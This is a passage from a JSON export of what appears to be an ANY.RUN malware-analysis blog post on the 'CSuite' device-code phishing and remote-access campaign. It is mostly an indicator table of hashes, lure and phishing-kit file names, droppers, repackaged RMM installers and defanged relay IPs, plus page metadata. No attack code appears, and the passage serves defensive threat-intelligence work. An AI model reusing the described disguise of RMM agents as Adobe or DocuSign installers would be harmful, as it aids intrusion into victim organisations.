<\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Payload archive B\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        a89a31ec605c0ed9cd263cbdea6ee4a2c6502ec81e5b3e8a3c9fb3de945405f9\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        SSAStatement.exe\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Renamed genuine Adobe loader\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        842f0236ea2c2b7773054920e7a870e07869c4e99f84bd31ccfd215781b4f267\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        msvcp140.dll\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C6\"\n                    data-col-index=\"2\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Substituted library\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        07682ca34a9bf18beb664088e55035a83306b95b31d4aaba242e9d67f8c378a3\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        index.html\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C7\"\n                    data-col-index=\"2\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Lure page A\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        e769b2b4463e7d39320b65a49183ce4ff8c20459fa183e7b03f02e1b44420eb0\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Adobe.html\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C8\"\n                    data-col-index=\"2\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Lure page B\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        41734f8e6cc75b66f51638b76780f61a0b21ad9f77586e2665b7ab8d7e131936\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        pdf_Reader_en_install.msi\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C9\"\n                    data-col-index=\"2\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Hexnode\u00a0management agent, 190 MB, Adobe theme\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A10\"\n                    data-col-index=\"0\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        eb9274a1fb6064e784f9c0ce95c78007efcadc279d4ffcac13998a45ebf7b49f\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B10\"\n                    data-col-index=\"1\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        DocusignEditSetup.msi\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C10\"\n                    data-col-index=\"2\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Hexnode\u00a0management agent, 190 MB,\u00a0DocuSign\u00a0theme\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A11\"\n                    data-col-index=\"0\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        3a8daf4e992ea34b71b259af85d4d12ca52d80b9e2b262bd5aa5922a5a955f9f\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B11\"\n                    data-col-index=\"1\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        index.html\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C11\"\n                    data-col-index=\"2\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Lure page A rebuilt 29 August, serving the management agent\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A12\"\n                    data-col-index=\"0\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        c0eb04dcfa745653c466c34978a1f3b4e5041f526be8c2e46b8c722498ca746a\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B12\"\n                    data-col-index=\"1\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        m\/js\/utils.js\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C12\"\n                    data-col-index=\"2\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The shared gate: blocklists, fingerprinting, traps, redirect constant\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A13\"\n                    data-col-index=\"0\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        74e306072561731adf55afd4de461ec0736ca22c0b458a78e7512b2701341f28\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B13\"\n                    data-col-index=\"1\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        m\/js\/captcha.js\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C13\"\n                    data-col-index=\"2\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Challenge and verification module\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A14\"\n                    data-col-index=\"0\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        394d7be5ecbe326062c1de1fb674bdcbb4dbe3ce03b4227994607047b832debd\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B14\"\n                    data-col-index=\"1\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        m\/js\/fingerprint.js\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C14\"\n                    data-col-index=\"2\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Browser fingerprinting module\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A15\"\n                    data-col-index=\"0\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        c5f7083722fc5bee4e7a7109495348d3731e6b077919a6b679b9f5af885923cd\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B15\"\n                    data-col-index=\"1\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        index.html\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C15\"\n                    data-col-index=\"2\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Verification gate of a complete deployment\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A16\"\n                    data-col-index=\"0\"\n                    data-row-index=\"15\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        fd98c6881cadc47e7d425bbd4b992237a832e69fdfe872a90ba567ed58a148ad\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B16\"\n                    data-col-index=\"1\"\n                    data-row-index=\"15\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        chameleon.php\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C16\"\n                    data-col-index=\"2\"\n                    data-row-index=\"15\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Credential page, as served\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A17\"\n                    data-col-index=\"0\"\n                    data-row-index=\"16\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        375e49680fe4b4a62320bdcfd16b7bd75f6223a15d620c475c6988803b67d416\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B17\"\n                    data-col-index=\"1\"\n                    data-row-index=\"16\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        index.php\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C17\"\n                    data-col-index=\"2\"\n                    data-row-index=\"16\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        PHP build, visitor\u00a0reporting\u00a0and redirect\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A18\"\n                    data-col-index=\"0\"\n                    data-row-index=\"17\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        fdd171cc26704218b0762a33650c0d1246c42cbe583a858684e1b6ac12b9bbe7\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B18\"\n                    data-col-index=\"1\"\n                    data-row-index=\"17\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        eDocusign.php\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C18\"\n                    data-col-index=\"2\"\n                    data-row-index=\"17\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        PHP build, blurred decoy document\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A19\"\n                    data-col-index=\"0\"\n                    data-row-index=\"18\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        2b89225801591cd223e0cf0b1faa8e7b12e88d6b6bc6ec9f5e715171137553ac\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B19\"\n                    data-col-index=\"1\"\n                    data-row-index=\"18\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        e-sign.php\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C19\"\n                    data-col-index=\"2\"\n                    data-row-index=\"18\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        PHP build, download page\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A20\"\n                    data-col-index=\"0\"\n                    data-row-index=\"19\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        7b03111fa24ce01054332f013b3fe8189d2b61897e7306666c73b086588a64a5\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B20\"\n                    data-col-index=\"1\"\n                    data-row-index=\"19\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        download.php\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C20\"\n                    data-col-index=\"2\"\n                    data-row-index=\"19\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        PHP build, payload delivery and download alert\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A21\"\n                    data-col-index=\"0\"\n                    data-row-index=\"20\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        0d6b451bd58b904e7dd15ce3e28ea129f7f95c9d248944fbdacdf6fb1d2adc99\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B21\"\n                    data-col-index=\"1\"\n                    data-row-index=\"20\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        settings.php\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C21\"\n                    data-col-index=\"2\"\n                    data-row-index=\"20\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        PHP build, reporting configuration\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A22\"\n                    data-col-index=\"0\"\n                    data-row-index=\"21\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        aac51e4016c50a705a26bd56435f0fd9685e53d6bc0cc6034b7370e76d7cb376\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B22\"\n                    data-col-index=\"1\"\n                    data-row-index=\"21\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        ScreenConnect.ClientSetup.msi\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C22\"\n                    data-col-index=\"2\"\n                    data-row-index=\"21\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Staged client, relay91.92.41[.]114\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A23\"\n                    data-col-index=\"0\"\n                    data-row-index=\"22\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        aefd71902453cc83104aa963d8d9051c875d93ddf40680616e8fa5e68565ea69\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B23\"\n                    data-col-index=\"1\"\n                    data-row-index=\"22\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        ScreenConnect.ClientSetup.msi\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C23\"\n                    data-col-index=\"2\"\n                    data-row-index=\"22\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Staged client, relay212.189.40[.]73\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A24\"\n                    data-col-index=\"0\"\n                    data-row-index=\"23\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        6f62a8380eb5038e253772033c0ebc1ddb951a042c4a1a90ba8755819dc74e53\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B24\"\n                    data-col-index=\"1\"\n                    data-row-index=\"23\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Adobe.ClientSetup.msi\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C24\"\n                    data-col-index=\"2\"\n                    data-row-index=\"23\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Staged client, relay155.254.26[.]180\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A25\"\n                    data-col-index=\"0\"\n                    data-row-index=\"24\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        d995ea6f1621c29cdd4353cfb8b36cd1336b34bc8b180b73ce52cd939060bf0f\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B25\"\n                    data-col-index=\"1\"\n                    data-row-index=\"24\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Adobe_Acrobat_V6trj.msi,\u00a0Dotloop AgentSetup_V34.msi\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C25\"\n                    data-col-index=\"2\"\n                    data-row-index=\"24\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Action1 agent under Adobe and Dotloop names\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A26\"\n                    data-col-index=\"0\"\n                    data-row-index=\"25\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        463786717f51b710dbbb013437141e416b98d810dfaa9f4de90a4c4939bc66b9\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B26\"\n                    data-col-index=\"1\"\n                    data-row-index=\"25\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Adobe_AgentInstallerV367.exe,Dotloop_AgentInstallerV367.exe\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C26\"\n                    data-col-index=\"2\"\n                    data-row-index=\"25\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Syncro\u00a0agent under Adobe and Dotloop names\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A27\"\n                    data-col-index=\"0\"\n                    data-row-index=\"26\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        90f8e6259ce27592c460d235aff104d7507dfff4e7889c34ab714cdb19944473\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B27\"\n                    data-col-index=\"1\"\n                    data-row-index=\"26\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Adobe Installer V3572.bat\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C27\"\n                    data-col-index=\"2\"\n                    data-row-index=\"26\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Dropper, Action1 agent\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A28\"\n                    data-col-index=\"0\"\n                    data-row-index=\"27\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        38ba6bfe0cc2b7c5ff38f1f698e2c9bfdb52dd7937111967fddf785ba001e1f2\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B28\"\n                    data-col-index=\"1\"\n                    data-row-index=\"27\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Amended_Agreement02026.vbs\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C28\"\n                    data-col-index=\"2\"\n                    data-row-index=\"27\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Dropper, Action1 agent\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A29\"\n                    data-col-index=\"0\"\n                    data-row-index=\"28\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        a450a84a60ce6646596feb2d6bea4c89a1b5b4e7d6325d5b7c2000982987411c\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B29\"\n                    data-col-index=\"1\"\n                    data-row-index=\"28\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Updated Service Agreement 2026.bat\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C29\"\n                    data-col-index=\"2\"\n                    data-row-index=\"28\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Dropper,\u00a0ScreenConnect\u00a0from object storage\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A30\"\n                    data-col-index=\"0\"\n                    data-row-index=\"29\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        b1e55c9679f9aca94d66fdb08195cf8752f69f1d6896a5b2e60d979fca5a4036\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B30\"\n                    data-col-index=\"1\"\n                    data-row-index=\"29\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Update_6779.bat\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C30\"\n                    data-col-index=\"2\"\n                    data-row-index=\"29\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Dropper,\u00a0ScreenConnect\u00a0from64.204.180[.]203:8040\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-380'>\ntable#wpdtSimpleTable-380{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-380 td, table.wpdtSimpleTable380 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<h3 class=\"wp-block-heading\">Staging account <\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>github[.]com\/Ivan3900  <\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>ANY.RUN researchers investigated CSuite, a phishing and remote-access operation that combines credential theft, Microsoft 365 session hijacking, and the abuse of legitimate management tools. The campaign showed a strong US focus, with 60% of identified victim organizations based in the United States. By blending trusted business services with legitimate remote-access software, CSuite can give attackers [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":23280,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[8],"tags":[57,10,34],"class_list":["post-23219","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-malware-analysis","tag-anyrun","tag-cybersecurity","tag-malware-analysis"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>CSuite Hits US and EU: Phishing and M365 Session Theft<\/title>\n<meta name=\"description\" content=\"ANY.RUN researchers analyze the CSuite campaign targeting US and Europe through device-code phishing and RMM abuse\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"ShiFu\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"33 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/csuite-attack-analysis\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/csuite-attack-analysis\\\/\"},\"author\":{\"name\":\"ShiFu\",\"@id\":\"https:\\\/\\\/any.run\\\/\"},\"headline\":\"CSuite Targets US and EU Organizations with Device-Code Phishing and Remote Access\",\"datePublished\":\"2026-09-22T11:16:00+00:00\",\"dateModified\":\"2026-09-22T11:24:24+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/csuite-attack-analysis\\\/\"},\"wordCount\":5673,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/any.run\\\/\"},\"image\":{\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/csuite-attack-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/09\\\/CSuite-scaled.png\",\"keywords\":[\"ANYRUN\",\"cybersecurity\",\"malware analysis\"],\"articleSection\":[\"Malware Analysis\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/csuite-attack-analysis\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/csuite-attack-analysis\\\/\",\"url\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/csuite-attack-analysis\\\/\",\"name\":\"CSuite Hits US and EU: Phishing and M365 Session Theft\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/any.run\\\/\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/csuite-attack-analysis\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/csuite-attack-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/09\\\/CSuite-scaled.png\",\"datePublished\":\"2026-09-22T11:16:00+00:00\",\"dateModified\":\"2026-09-22T11:24:24+00:00\",\"description\":\"ANY.RUN researchers analyze the CSuite campaign targeting US and Europe through device-code phishing and RMM abuse\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/csuite-attack-analysis\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/csuite-attack-analysis\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/csuite-attack-analysis\\\/#primaryimage\",\"url\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/09\\\/CSuite-scaled.png\",\"contentUrl\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/09\\\/CSuite-scaled.png\",\"width\":2560,\"height\":1243,\"caption\":\"CSuite hits US and EU\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/csuite-attack-analysis\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Malware Analysis\",\"item\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/category\\\/malware-analysis\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"CSuite Targets US and EU Organizations with Device-Code Phishing and Remote Access\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/any.run\\\/\",\"url\":\"https:\\\/\\\/any.run\\\/\",\"name\":\"ANY.RUN&#039;s Cybersecurity Blog\",\"description\":\"Cybersecurity Blog covers topics for experienced professionals as well as for those new to 